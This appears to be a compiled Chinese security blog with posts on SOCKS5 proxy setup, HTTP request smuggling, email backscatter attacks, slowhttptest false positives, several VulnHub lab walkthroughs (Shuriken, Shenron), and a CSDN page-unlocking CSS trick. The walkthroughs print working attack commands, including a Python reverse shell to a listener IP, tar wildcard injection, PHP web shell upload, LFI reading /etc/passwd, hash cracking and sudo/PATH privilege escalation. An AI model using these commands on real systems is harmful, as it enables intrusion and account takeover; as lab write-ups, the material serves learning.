Danted Socks5代理搭建

Danted Socks5代理搭建

本文转自SunPma 并作补充

说明

Socks5属于明文代理,不要用于科学上网,否则会被阻断端口,可用于正常的跳板使用;
比如SSH转发加速国外VPS的连接速度,特别是一些延迟高或者丢包高的VPS;
使用Socks5转发后SSH就可以快速稳定的连接了,解决高丢包SSH断开的问题;

支持

支持系统:Debian7+ Ubuntu14.04+ CentOS6+

安装

下载脚本:

1
wget --no-check-certificate https://raw.github.com/Lozy/danted/master/install.sh -O install.sh

安装脚本:

1
bash install.sh  --port=端口 --user=用户名 --passwd=密码

其中的端口 用户名 密码自行修改后粘贴到SSH里运行安装即可;
完成后会提示Dante Server Install Successfuly即表示安装成功;
安装后如果连接不上,检查设置的端口是否已经放行;
说明:安装完成后会显示内网IP地址,但在实际使用的时候需要用外网IP地址;

使用

一般使用IP和用户名密码即可使用
如果需要固定IP或IP段,可以修改配置文件设置白名单

1
vi /etc/danted/sockd.conf

修改以下代码,改成你需要设置的白名单IP或IP段即可,然后重启使其生效;

1
2
3
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
}

卸载

1
bash install.sh --uninstall

命令

命令 或者 说明
service sockd start /etc/init.d/sockd start 启动socks5服务器守护进程
service sockd stop /etc/init.d/sockd stop 停止socks5服务器守护进程
service sockd restart /etc/init.d/sockd restart 重新启动socks5服务器守护进程
service sockd reload /etc/init.d/sockd reload 重新加载socks5服务器守护进程
service sockd status / 系统进程状态
service sockd state /etc/init.d/sockd state 运行状态
service sockd tail /etc/init.d/sockd tail sock 日志
service sockd adduser /etc/init.d/sockd adduser 添加pam-auth用户:service sockd adduser NAME PASSWORD
service sockd deluser /etc/init.d/sockd deluser 删除pam-auth用户:service sockd deluser NAME

HTTP请求走私漏洞

HTTP请求走私漏洞

本文转自Atkxor 并作补充

简介

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。请求走私漏洞本质上通常很关键,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

  • 利用Content-Length字段来判定请求体的内容长度
  • 利用Transfer-Encoding字段来判定请求体的结束位置

基础知识

Content-Length

Content-Length即为实体长度。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。通常如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成 pending。

Transfer-Encoding

历史上 Transfer-Encoding 可以有多种取值,但最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)。
分块编码相当简单,在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。

CL与TE解析优先级顺序

CL表示Content-Length,TE表示Transfer-Encoding。优先级顺序详见 RFC7230 section 3.3.3

1
2
3
4
5
If a message is received with both a Transfer-Encoding and a
Content-Length header field, the Transfer-Encoding overrides the
Content-Length. Such a message might indicate an attempt to perform
request smuggling (Section 9.5) or response splitting (Section 9.4)
and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

TE 优先于 CL ,但可以通过一些方式绕过

请求走私分类

请求走私攻击包括将Content-Length标头和Transfer-Encoding 标头都放入单个HTTP请求中并进行处理,以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

  • CL不为0:前端代理服务器允许请求携带请求体,而后端服务器不允许请求携带请求体。
  • CL-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。
  • CL-TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer- Encoding标头。
  • TE-TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过某种方式混淆标头来诱导其中一台服务器不对其进行处理。
  • TE-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响,这里以GET请求为例。
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
比如构造请求:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 44\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n
\r\n

注:\r\n表示 CRLF即换行

前端服务器处理了Content-Length,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求:
第一个请求:

1
2
GET / HTTP/1.1\r\n
Host: demo.com\r\n

第二个请求:

1
2
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n

CL-CL漏洞

RFC7230规范:在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
构造请求:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 5\r\n
Content-Length: 6\r\n
\r\n
12345\r\n
a

得到响应,返回400 Bad Request
image

触发过程:但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

CL-TE漏洞

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。
CL.TE实验环境

TE-TE漏洞

在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
详见 RFC7230 section 3.3.3.3

1
2
3
4
5
6
7
8
If a Transfer-Encoding header field is present in a response and
the chunked transfer coding is not the final encoding, the
message body length is determined by reading the connection until
it is closed by the server. If a Transfer-Encoding header field
is present in a request and the chunked transfer coding is not
the final encoding, the message body length cannot be determined
reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.

这里列出七种混淆方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

之所以在处理这些请求头时会出现问题,是因为在实际的HTTP协议实现中,很少有代码精确的遵循了其中的规范,以此导致面对变形的请求头时会出现不同的处理方式。
TE.CL实验环境

TE-CL漏洞

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
TE.CL验环境

绕过前端服务器安全控制

利用CL-TE漏洞绕过

CL.TE实验环境

利用TE-CL漏洞绕过

TE.CL实验环境

漏洞防御

在前端服务器通过同一网络连接将多个请求转发到后端服务器的情况下,会出现HTTP请求走私漏洞,并且后端连接所使用的协议会带来两个服务器不同意边界的风险。要求。防止HTTP请求走私漏洞的一些通用方法如下:

  • 禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
  • 使用HTTP / 2进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。
    在某些情况下,可以通过使前端服务器规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。但是,这些方法比上面确定的通用缓解措施更容易出错。

参考文章

(https://paper.seebug.org/1048)
(https://portswigger.net/web-security/request-smuggling)
(https://portswigger.net/web-security/request-smuggling/exploiting)

电子邮件退信攻击

电子邮件退信攻击

本文转自zdnet 并作补充

杂记

有生活常识的朋友都知道,当我们寄出一封信件的时候,如果收信人的地址变更或一些特殊原因。你所寄出的信件将会被原址退回。实际上电子邮件也是有这个退信功能的。不过这个便利的功能却被网络黑客发现并加以利用,邮件退信攻击有成为了危害邮件安全的一个难题。

所谓邮件退信攻击,是将预攻击的对象伪造成发件人地址,而收件人设置为一系列其他邮件域并不存在的账号,这样当邮件大量发送,例如通过僵尸网络,由于收件人不存在,邮件系统将产生大量的退信给发件人地址。该发件人地址所属的真实服务器将收到大量的退信,增加服务器的负荷,也容易使该公司的邮件服务器被列入黑名单。

邮件退信攻击在程度上有所区别,上面介绍的这种攻击,被攻击者可能一天之内收到数百上千封各种退信。一般用户碰到的邮件退信攻击属于骚扰性质,垃圾邮件发送者在发送垃圾邮件时,常常随机的设置发件人,例如其中包括bobo@abc.com,当大量发送垃圾邮件时,有些邮件可能是以bobo@abc.com发送的,则bobo就可能收到退信,有时一天只有几封或几十封,但总是不断,让人十分郁闷。

退信信息通常比较有规律,例如发件人为空,或者为MAILER-DAEMON@xxx.com,主题一般为Undelivered Mail Returned等。有些用户采用关键字的技术将退信予以阻断,或者干脆限定阻止空发件人,但是这经常会把正常的退信也阻止掉,导致信息不畅。

一般而言,退信占一个公司的邮件量5%以上,这其中绝大部分是垃圾退信。如何防止收到这种垃圾退信,避免邮件退信攻击呢?

采用SPF或domain-key的技术。这两种技术的原理相似。例如sohu.com的SPF记录是sohu.com text = “v=spf1 ip4:61.135.130.0/23 ip4:61.135.132.0/23 (。。。sohu邮件服务器所属IP)all”;如果有人冒用sohu发送垃圾邮件,收件方如果采用了SPF过滤技术,就能判定这是假冒的垃圾邮件,将不会给sohu发送DNR了。

遗憾的是很多服务器不做SPF验证,因此即使您的公司设置了SPF记录,也不能阻止垃圾退信。

重点

此文其实是为了记念一下一个工具:Swaks

几乎绝大部分的邮件攻击都可以由它进行实践,之前测试其实很多现在大厂的消费级邮箱是有或多或少的问题的。

Slowhttptest Usage

Slowhttptest 对 Slow HTTP Dos 的误判

当场滑跪

前段时间在巡检公司项目的时候发现了HTTP慢速拒绝服务攻击(Slow HTTP Dos)
于是就下发让项目运维去修复了,但是反馈说明明配置了正确的参数,于是我当(zhi)场(jie)滑(dao)跪(qian) ORZ

image

发生了什么

所以是发生了什么?漏扫就那么垃圾和我过不去这么多误报?我还好好用 slowhttptest 去验证了,确实存在service available: NO的显示,图就不发了,拿阿B的给你们看看:
image

后来看得多了我发现(其实早就发现了),slowhttptest 的slowbody模式下很容易出现service available: NOreadheader就很容易通过测试
但是归根到底是否触发拒绝服务,肯定看:

    1. 网站载入延时
    1. 网站是否还可访问

在看了星球守护者 的漏洞复现后我发现,用 slowhttptest 验证 Slow HTTP Dos 真实存在,需要注意:

1
2
3
4
1. slow HTTP test status on Xth second:		X 数字较小,即较早就开始拒绝服务
2. service available: NO
3. Test ended on X+1th second
4. Exit status: Connection refused 这两点比较重要,真的拒绝服务了直接下一秒就停止测试了

image

不得不说

其实 Dos 类的漏洞你很不好说,因为访问量过大必然服务器承受不住,这个只能做缓解(流量分析、请求时限、扩容等等)
所以漏扫出来是否存在这个漏洞或者 slowhttptest 的service available: NO,有可能是看片面了(某些请求在开始或者后来被识别后被拒绝、中断,或者网页响应时间是否有某个范围内的增量变化等,尤其是这个增量变化,我曾经发现因为一个资产页面正常请求的数量会变化,时延直接从几百ms级变成几s级的)

好吧,okk

image

Shuriken Node

SHURIKEN: NODE

一、基本信息

名称:Shuriken: Node

发布日期:2020.12.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

serv-adm:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Shuriken_Node.ova

文件大小:2.5GB

下载地址:

MD5: 5EEFC9733F218D3EB5E96CA231204BAC

SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,也没有过多线索:

1
gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Node.js漏洞利用

1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):

image-

2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:

1
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

image-

3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:

1
python nodejsshell.py 192.168.56.102 9002

image-

4.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:

1
{"rce":"_$$ND_FUNC$$_function ()}()"},加载器

image-

image-

image-

SSH免密登录,初步提权

1.注入cookie后,我们就获得了shell,利用python构建交互式shell:

image-

2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:

1
2
3
cd ~
ls -la /var/backups
unzip ssh-backup.zip

image-

3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:

1
2
cd /home
ls -la

image-

4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:

1
2
3
vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

image-

1
2
3
4
openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa

ssh serv-adm@192.168.56.125 -i id_rsa

image-

root提权

1.在ser-adm用户目录下,能够发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

2.利用sudo -l命令查看文件权限,发现有定时文件:

1
2
3
cd ~
ls -la
cat user.txt

image-

3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:

1
2
3
cd /etc/systemd/system
ls -la
cat shuriken-auto.timer

image-

1
nano shuriken-job.service

image-

Flag获取

1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:

1
2
3
sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p

image-

2.在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shuriken 1

SHURIKEN: 1

一、基本信息

名称:Shuriken: 1

发布日期:2020.11.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

server-management:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Shuriken-1.ova

文件大小:2.7GB

下载地址:

MD5: 2DB75B09A1DD917FFE1DF20B4450D032

SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/sercet目录比较可疑:

1
gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ClipBucket页登录

1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:

image-

image-

2.于是根据图片提示去主页查看js代码,发现两个指向:

image-

image-

3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:

1
vim /etc/hosts

image-

image-

4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:

1
vim /etc/hosts

image-

image-

5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:

image-

1
2
echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt

image-

ClipBucket漏洞利用

1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):

image-

image-

2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

1
2
nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php

image-

image-

image-

初步提权

1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:

1
sudo -l

image-

1
2
3
cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

image-

2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

root提权

1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:

1
cat /etc/crontab

image-

1
cat /var/opt/backupsrv.sh

image-

2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:

1
2
3
4
cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=1

image-

3.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:

1
nc -lvnp 9002

image-

4.获得root权限后,在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shenron 3

Shenron:3

一、基本信息

名称:shenron:3

发布日期:2021.4.16

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-3.ova

文件大小:1.3GB

下载地址:

MD5: 2C70DA66904D9820BF065D2EACB08419

SHA1: 8FB172649FFB6F44F2C81D8468B3B609D8E37E19

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron3和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放80端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.137 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现目录基本与wordpress有关:

1
gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问主页,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://192.168.3.137 --plugins-detection aggressive

image-

2.没有直接的漏洞发现,访问后台登录页面,发现存在admin用户,我们可以直接使用wpscan对后台登录页爆破(需要rockyou.txt字典):

image-

1
wpscan --url http://shenron --passwords rockyou.txt --usernames admin

image-

Wordpress后台登录,写入webshell

1.使用账号和密码登录wordpress后台,可以在Appearance-Editor-404.php页写入webshell:

image-

2.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,覆盖404.php,update file,kali开启对应端口监听,通过访问不存在页触发webshell:

image-

image-

image-

image-

初步提权

1.查看/var/www/html目录下文件,在wp-config.php中能发现wordpress用户及数据库密码,但是进入数据库后并没有什么额外发现:

image-

2.尝试提权到shenron,发现登录密码不是Wordpress@123,而是之前爆出的iloverockyou:

image-

root提权

1.在/home/shenron目录下,我们查看文件权限,发现network的属主和属组都是root:

image-

2.利用pspy64s工具,我们查看network运行后的调用,发现回调用netstat,则我们可以新建一个netstat文件,进行提权操作:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.134:8001/pspy64s,shenron获取pspy64s工具
chmod +x pspy64s
./network
./pspy64s

image-

image-

1
2
3
4
5
6
cd /tmp
echo "/bin/bash -p" > netstat
chmod +x netstat
export PATH=/tmp:$PATH
cd ~
./network

image-

3.在/root目录下发现flag,即root.txt:

image-

Shenron 2

Shenron:2

一、基本信息

名称:shenron:2

发布日期:2021.4.5

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-2.ova

文件大小:3.7GB

下载地址:

MD5: 2883845FF2E1E122E1B1E75CF9A4B4E1

SHA1: E66BDA7AB264D1FEA2103801BB422731F34F0599

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron2和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80及8080端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.136 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有发现太多值得关注的目录:

1
gobuster dir -u http://192.168.3.136/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问192.168.3.136:8080,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://shenron:8080 --api-token $(cat /opt/wpscan-api) --enumerate

image-

2.发现有Site Editor的漏洞,我们可以看一下如何利用:

1
searchsploit Site Editor 1.1.1

image-

1
curl http://shenron:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd,得到有两个用户和密码hash

image-

SSH密码爆破,初步提权

1.用hydra进行jenny爆破,得到密码登录SSH:

image-

image-

2.在jenny用户下,查看suid,可以发现/usr/bin/Execute,查看文件(需要导入本地查看,不然是elf乱码):

1
find / -type f -perm -u=s 2>/dev/null

image-

image-

3.我们可以知道这个文件的作用是将/bin/bash复制到/mnt/bash下,并给予shenron用户权限,那么我们可以利用这个文件:

1
2
Execute
/mnt/bash -p

image-

root提权

1.查看.pass文件,我们能发现一串类似base编码的字符串,利用base32解密发现是shenron用户登录的密码:

image-

2.登录shenron后,查看权限,发现可以直接提权到root:

image-

3.在/root目录下,可以找到flag,即root.txt:

image-

Shenron 1

Shenron:1

一、基本信息

名称:shenron:1

发布日期:2020.12.15

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:shenron-1.ova

文件大小:1.3GB

下载地址:

MD5: 3D9F0F620846BC15F4591E7AC56C04B2

SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:

1
gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

寻找密码,登录joomla后台

1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:

image-

image-

2.可以用admin用户登录joomla管理后台:

1
gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台

image-

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:

image-

2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:

image-

3.访问不存在页面,触发webshell,再使用python构建交互式shell:

image-

image-

SSH免密登录,逐步提权

1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:

image-

image-

2.登录jenny用户后,我们尝试使用ssh免密登录:

1
cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认

image-

1
2
3
cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥

image-

3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:

1
sudo -l

image-

1
2
cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/

image-

root提权

1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:

1
2
3
4
5
Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output

image-

2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

image-

3.在root用户/root目录下,可以查看flag,即root.txt:

image-

Full-Text CSDN

CSDN 不登录查看全文

闲谈

土豪:“CSDN 有点恶心啊,什么代码要登录复制,查看全文也要登录,有没有什么插件方法直接能看的?”

同事:“它这个是这样设定的,肯定要走一步这个流程给他们增加访问量还有用户啊……”

我:“……”

image

默默拿出方案

1
2
3
<div id="article_content" class="article_content clearfix" style="height: 2000px; overflow: hidden;">
修改成:
<div id="article_content" class="article_content clearfix" style="height: XXXXpx;">

image

每天一个没用小技巧 (´◐∀◐`)

image